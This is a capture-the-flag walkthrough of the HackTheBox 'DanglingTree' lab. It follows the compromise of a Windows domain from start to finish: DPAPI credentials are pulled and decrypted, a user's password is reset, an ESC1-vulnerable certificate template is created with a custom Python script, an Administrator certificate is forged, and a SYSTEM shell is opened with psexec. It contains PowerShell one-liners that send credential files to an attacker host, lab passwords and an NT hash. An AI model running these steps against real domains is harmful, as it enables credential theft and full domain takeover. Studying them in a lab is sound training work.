Directory: C:\Users\noah.b\AppData\Roaming\Microsoft\Protect\S-1-5-21-4220238332-57023728-1129110646-1602
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/26/2026 2:23 PM 924 BK-DANGLINGTREE
-a-hs- 3/26/2026 2:23 PM 876 f53fcaba-f057-48e8-8f92-0180d274bf0f
-a-hs- 3/26/2026 2:23 PM 24 Preferred
We still need to download them to our local machine for cracking.
# attacker machine
nc -lvnp 6001 > f53fcaba-f057-48e8-8f92-0180d274bf0f
nc -lvnp 6002 > 57FFB67D684C67F09E7153B9C7CC3940
# target machine
powershell -NoProfile -Command "$p='C:\Users\noah.b\AppData\Roaming\Microsoft\Protect\S-1-5-21-4220238332-57023728-1129110646-1602\f53fcaba-f057-48e8-8f92-0180d274bf0f';$b=[IO.File]::ReadAllBytes($p);$c=[Net.Sockets.TcpClient]::new('10.10.14.128',6001);$s=$c.GetStream();$s.Write($b,0,$b.Length);$s.Close();$c.Close()"
powershell -NoProfile -Command "$p='C:\Users\noah.b\AppData\Roaming\Microsoft\Credentials\57FFB67D684C67F09E7153B9C7CC3940';$b=[IO.File]::ReadAllBytes($p);$c=[Net.Sockets.TcpClient]::new('10.10.14.128',6002);$s=$c.GetStream();$s.Write($b,0,$b.Length);$s.Close();$c.Close()"
We used the domain password from Impacket's dpapi.py to decrypt the master key:
dpapi.py masterkey \
-file f53fcaba-f057-48e8-8f92-0180d274bf0f \
-sid 'S-1-5-21-4220238332-57023728-1129110646-1602' \
-password 'RiverDragon#Storm25'
Impacket v0.14.0.dev0+20260729.95945.570f2833 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : f53fcaba-f057-48e8-8f92-0180d274bf0f
Flags : 0 (0)
Policy : 0 (0)
MasterKeyLen: 000000b0 (176)
BackupKeyLen: 00000090 (144)
CredHistLen : 00000000 (0)
DomainKeyLen: 000001ac (428)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0x7120d9adb3b8ccd8901bf9e2a29afabcbbcbdb5a13a24a1817bda49097c7ff3c8e5d71f34ae43850a136dc64dbd37061d4f9c34bdbdca21aa8af57d26baad0d8
Provide the key to the credential parser
dpapi.py credential \
-file 57FFB67D684C67F09E7153B9C7CC3940 \
-key 0x7120d9adb3b8ccd8901bf9e2a29afabcbbcbdb5a13a24a1817bda49097c7ff3c8e5d71f34ae43850a136dc64dbd37061d4f9c34bdbdca21aa8af57d26baad0d8
Impacket v0.14.0.dev0+20260729.95945.570f2833 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2026-03-27 22:03:38+00:00
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PC01.danglingtree.htb
Description :
Unknown :
Username : alex.o
Unknown : SunsetMountainPeak@2025
Now we can get another credit alex.o:SunsetMountainPeak@2025
Come back to Bloodhound, let's check what alex.ocan do
Now we can try to change the password of Jake.H
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ bloodyAD -H dc.danglingtree.htb -i 10.129.2.79 \
-d danglingtree.htb \
-u alex.o -p 'SunsetMountainPeak@2025' \
-s set password jake.h 'Wither123!'
[+] Password changed successfully!
Continue to check what can Jake.Hdo
Certipy's initial scan extracted CA-level permissions provided by Helpdesk_Cert_Support:
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ certipy-ad find \
-u 'jake.h@danglingtree.htb' -p 'Wither123!' \
-dc-ip 10.129.2.79 -dc-host dc.danglingtree.htb \
-stdout | grep -i ManageCertificates
Certipy v5.1.0 - by Oliver Lyak (ly4k)
ManageCertificates : DANGLINGTREE.HTB\Helpdesk_Cert_Support
The Manage Certificates feature allows for the approval and revocation of certificate requests.
Due to the lack of Manage CA permissions, Jake cannot change the CA configuration or publish a different template name.
The group name alone does not prove the delegated permissions. We need to use bloodyAD to query Jake's valid child object permissions:
bloodyAD -H dc.danglingtree.htb -i 10.129.2.79 \
-d danglingtree.htb \
-u jake.h -p 'Wither123!' \
-s get writable --partition CONFIGURATION --right CHILD --detail
distinguishedName: CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=danglingtree,DC=htb
device: CREATE_CHILD
distinguishedName: CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=danglingtree,DC=htb
msPKI-Enterprise-Oid: CREATE_CHILD
These results grant Jake two basic permissions:
Create a pKICertificateTemplate object under CN=Certificate Templates.
Create the corresponding msPKI-Enterprise-Oid data under CN=OID.
Directory permissions are limited to these two PKI containers. Therefore, we queried the CA's pKIEnrollmentService object via LDAP and requested its multi-valued certificateTemplates property:
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://10.129.2.79 \
-D 'jake.h@danglingtree.htb' -w 'Wither123!' \
-b 'CN=danglingtree-DC-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=danglingtree,DC=htb' \
-s base '(objectClass=pKIEnrollmentService)' certificateTemplates
dn: CN=danglingtree-DC-CA,CN=Enrollment Services,CN=Public Key Services,CN=Ser
vices,CN=Configuration,DC=danglingtree,DC=htb
certificateTemplates: RemoteAccessVPN
certificateTemplates: EmployeeAuthTemplate
certificateTemplates: VPNUserTemplate
certificateTemplates: DirectoryEmailReplication
certificateTemplates: DomainControllerAuthentication
certificateTemplates: KerberosAuthentication
certificateTemplates: EFSRecovery
certificateTemplates: EFS
certificateTemplates: DomainController
certificateTemplates: WebServer
certificateTemplates: Machine
certificateTemplates: User
certificateTemplates: SubCA
certificateTemplates: Administrator
Continued checking each corresponding object under CN=Certificate Templates
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ for template in RemoteAccessVPN EmployeeAuthTemplate VPNUserTemplate; do
printf '[%s]\n' "$template"
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://10.129.2.79 \
-D 'jake.h@danglingtree.htb' -w 'Wither123!' \
-b "CN=$template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=danglingtree,DC=htb" \
-s base '(objectClass=*)' dn 2>/dev/null
done
[RemoteAccessVPN]
[EmployeeAuthTemplate]
[VPNUserTemplate]
The absence of a identifiable name returned by the query indicates that all three template objects do not exist.
While Jake cannot add new posting entries, he can create the missing objects.
Next, let's create a missing EmployeeAuthTemplate.
#!/usr/bin/env python3
import argparse
import secrets
import ssl
import struct
from impacket.ldap import ldaptypes
from ldap3 import ALL, BASE, MODIFY_REPLACE, SUBTREE, Connection, Server, SIMPLE, Tls
from ldap3.protocol.microsoft import security_descriptor_control
CLIENT_AUTH = "1.3.6.1.5.5.7.3.2"
def fail(connection, action):
raise SystemExit(f"[-] {action}: {connection.result}")
def create_ace(sid, mask):
ace = ldaptypes.ACE()
ace["AceType"] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
ace["AceFlags"] = 0
ace["Ace"] = ldaptypes.ACCESS_ALLOWED_ACE()
ace["Ace"]["Mask"] = ldaptypes.ACCESS_MASK()
ace["Ace"]["Mask"]["Mask"] = mask
ace["Ace"]["Sid"] = ldaptypes.LDAP_SID()
ace["Ace"]["Sid"].fromCanonical(sid)
return ace
def create_security_descriptor(sid):
descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR()
descriptor["Revision"] = b"\x01"
descriptor["Sbz1"] = b"\x00"
descriptor["Control"] = 0x9C04
descriptor["OwnerSid"] = ldaptypes.LDAP_SID()
descriptor["OwnerSid"].fromCanonical(sid)
descriptor["GroupSid"] = b""
descriptor["Sacl"] = b""
descriptor["Dacl"] = ldaptypes.ACL()
descriptor["Dacl"]["AclRevision"] = 2
descriptor["Dacl"]["Sbz1"] = 0
descriptor["Dacl"]["Sbz2"] = 0
descriptor["Dacl"].aces = [
create_ace(sid, 983551),
create_ace("S-1-5-11", 131220),
]
return descriptor
parser = argparse.ArgumentParser(
description="Create a certificate-template OID and an initial template object over LDAPS"
)
parser.add_argument("-H", "--host", required=True)
parser.add_argument("-u", "--user", required=True)
parser.add_argument("-p", "--password", required=True)
parser.add_argument("-t", "--template", default="EmployeeAuthTemplate")
args = parser.parse_args()
tls = Tls(validate=ssl.CERT_NONE)
server = Server(args.host, port=636, use_ssl=True, tls=tls, get_info=ALL)
connection = Connection(
server,
user=args.user,
password=args.password,
authentication=SIMPLE,
auto_bind=True,
check_names=False,
)
config_dn = server.info.other["configurationNamingContext"][0]
oid_base = f"CN=OID,CN=Public Key Services,CN=Services,{config_dn}"
template_base = f"CN=Certificate Templates,CN=Public Key Services,CN=Services,{config_dn}"
template_dn = f"CN={args.template},{template_base}"
connection.search(template_dn, "(objectClass=*)", BASE, attributes=["cn"])
template_exists = bool(connection.entries)
if not template_exists:
connection.search(oid_base, "(objectClass=*)", BASE, attributes=["msPKI-Cert-Template-OID"])
root_oid = connection.entries[0]["msPKI-Cert-Template-OID"].value
connection.search(
oid_base,
"(objectClass=msPKI-Enterprise-Oid)",
SUBTREE,
attributes=["msPKI-Cert-Template-OID"],
)
prefix = f"{root_oid}.1."
indexes = []
for entry in connection.entries:
value = entry["msPKI-Cert-Template-OID"].value
if value and value.startswith(prefix) and value[len(prefix) :].isdigit():
indexes.append(int(value[len(prefix) :]))
index = max(indexes, default=0) + 1
template_oid = f"{prefix}{index}"
oid_cn = f"{index}.{secrets.token_hex(16).upper()}"
oid_dn = f"CN={oid_cn},{oid_base}"
oid_attributes = {
"objectClass": ["top", "msPKI-Enterprise-Oid"],
"cn": oid_cn,
"displayName": args.template,
"flags": 1,
"msPKI-Cert-Template-OID": template_oid,
}
if not connection.add(oid_dn, attributes=oid_attributes):
fail(connection, "OID creation failed")
template_attributes = {
"objectClass": ["top", "pKICertificateTemplate"],
"cn": args.template,
"displayName": args.template,
"instanceType": 4,
"showInAdvancedViewOnly": True,
"flags": 0,
"revision": 1,
"pKIDefaultKeySpec": 2,
"pKIKeyUsage": b"\x86\x00",
"pKIMaxIssuingDepth": -1,
"pKICriticalExtensions": ["2.5.29.19", "2.5.29.15"],
"pKIExpirationPeriod": struct.pack("<q", -315360000000000),
"pKIOverlapPeriod": struct.pack("<q", -36288000000000),
"pKIExtendedKeyUsage": [CLIENT_AUTH],
"pKIDefaultCSPs": [
"2,Microsoft Base Cryptographic Provider v1.0",
"1,Microsoft Enhanced Cryptographic Provider v1.0",
],
"msPKI-RA-Signature": 0,
"msPKI-Enrollment-Flag": 0,
"msPKI-Private-Key-Flag": 16,
"msPKI-Certificate-Name-Flag": 1,
"msPKI-Minimal-Key-Size": 2048,
"msPKI-Template-Schema-Version": 1,
"msPKI-Template-Minor-Revision": 1,
"msPKI-Cert-Template-OID": template_oid,
}
if not connection.add(template_dn, attributes=template_attributes):
connection.delete(oid_dn)
fail(connection, "template creation failed")
print(f"[+] OID: {template_oid}")
print(f"[+] OID DN: {oid_dn}")
descriptor = create_security_descriptor("S-1-5-11").getData()
changes = {"nTSecurityDescriptor": [(MODIFY_REPLACE, [descriptor])]}
control = security_descriptor_control(sdflags=0x04)
if not connection.modify(template_dn, changes, controls=control):
fail(connection, "DACL update failed")
print(f"[+] Template: {template_dn}")
print("[+] Authenticated Users received full control")
Let's run it
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ python3 create_template.py \
-H dc.danglingtree.htb \
-u 'jake.h@danglingtree.htb' \
-p 'Wither123!' \
-t EmployeeAuthTemplate
[+] OID: 1.3.6.1.4.1.311.21.8.13218431.14779392.10764427.12370424.10671376.174.1.403
[+] OID DN: CN=403.F6CA5EC7D08FD34D420D52ED1A5B22D8,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=danglingtree,DC=htb
[+] Template: CN=EmployeeAuthTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=danglingtree,DC=htb
[+] Authenticated Users received full control
We use Certipy to apply its default ESC1 configuration to new objects. Certipy's create_esc1_template enables client authentication, allows the registrant to provide the principal, disables administrator approval, and does not require authorization signatures:
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ certipy-ad template \
-u 'jake.h@danglingtree.htb' -p 'Wither123!' \
-dc-ip 10.129.2.79 -dc-host dc.danglingtree.htb \
-template EmployeeAuthTemplate \
-write-default-configuration S-1-5-11 \
-no-save -force
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Updating certificate template 'EmployeeAuthTemplate'
[*] Adding:
[*] msPKI-Certificate-Application-Policy: ['1.3.6.1.5.5.7.3.2']
[*] Replacing:
[*] nTSecurityDescriptor: b'\x01\x00\x04\x9cD\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x000\x00\x02\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x00\x00\x14\x00\x94\x00\x02\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00'
[*] flags: 66104
[*] Successfully updated 'EmployeeAuthTemplate'
The new template scan confirmed the ESC1 condition.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ certipy-ad find \
-u 'jake.h@danglingtree.htb' -p 'Wither123!' \
-dc-ip 10.129.2.79 -dc-host dc.danglingtree.htb \
-vulnerable
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 17 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'danglingtree-DC-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'danglingtree-DC-CA'
[*] Checking web enrollment for CA 'danglingtree-DC-CA' @ 'dc.danglingtree.htb'
[*] Saving text output to '20260811095330_Certipy.txt'
[*] Wrote text output to '20260811095330_Certipy.txt'
[*] Saving JSON output to '20260811095330_Certipy.json'
[*] Wrote JSON output to '20260811095330_Certipy.json'

ESC1 allows Jake to request a client authentication certificate for another principal. We first query the domain SID and append the administrator RID 500:
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ rpcclient -U 'DANGLINGTREE/jake.h%Wither123!' dc.danglingtree.htb -c 'lsaquery'
Domain Name: DANGLINGTREE
Domain Sid: S-1-5-21-4220238332-57023728-1129110646
Continue requesting a certificate containing the administrator UPN and object SID.
sudo ntpdate -u danglingtree.htb
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ certipy-ad req \
-u 'jake.h@danglingtree.htb' -p 'Wither123!' \
-dc-ip 10.129.2.79 -dc-host dc.danglingtree.htb \
-ca danglingtree-DC-CA \
-template EmployeeAuthTemplate \
-upn 'administrator@danglingtree.htb' \
-sid 'S-1-5-21-4220238332-57023728-1129110646-500' \
-dynamic-endpoint \
-out administrator.pfx
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 18
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@danglingtree.htb'
[*] Certificate object SID is 'S-1-5-21-4220238332-57023728-1129110646-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Finally, verify the certificate.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ sudo ntpdate -u danglingtree.htb
2026-08-10 17:02:04.699528 (+0000) -60982.286750 +/- 0.198586 danglingtree.htb 10.129.2.79 s1 no-leap
CLOCK: time stepped by -60982.286750
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ certipy-ad auth \
-pfx administrator.pfx \
-dc-ip 10.129.2.79 \
-domain danglingtree.htb \
-username administrator
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@danglingtree.htb'
[*] SAN URL SID: 'S-1-5-21-4220238332-57023728-1129110646-500'
[*] Security Extension SID: 'S-1-5-21-4220238332-57023728-1129110646-500'
[*] Using principal: 'administrator@danglingtree.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@danglingtree.htb': aad3b435b51404eeaad3b435b51404ee:8cacb3a97e460c65d105ca7cd9913925
We were able to obtain a shell using Impacket's psexec.py.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ psexec.py \
'danglingtree.htb/Administrator@dc.danglingtree.htb' \
-hashes ':8cacb3a97e460c65d105ca7cd9913925'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on dc.danglingtree.htb.....
[*] Found writable share ADMIN$
[*] Uploading file llCjKlFC.exe
[*] Opening SVCManager on dc.danglingtree.htb.....
[*] Creating service Bbff on dc.danglingtree.htb.....
[*] Starting service Bbff.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.26100.33158]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\System32> whoami
nt authority\system
Description
DanglingTree (Medium) — An SMB share leaks a red-team assessment PDF containing valid domain credentials, which unlock access to a Windows Admin Center portal. By reverse-engineering the request flow behind CVE-2026-26119, WAC's invokeCommand API is abused directly from the browser console to gain remote code execution as anderson.w. Escalation abuses AD CS template-editing rights to spin up a fresh ESC1-vulnerable certificate template, forging an Administrator authentication certificate with Certipy to compromise the domain controller.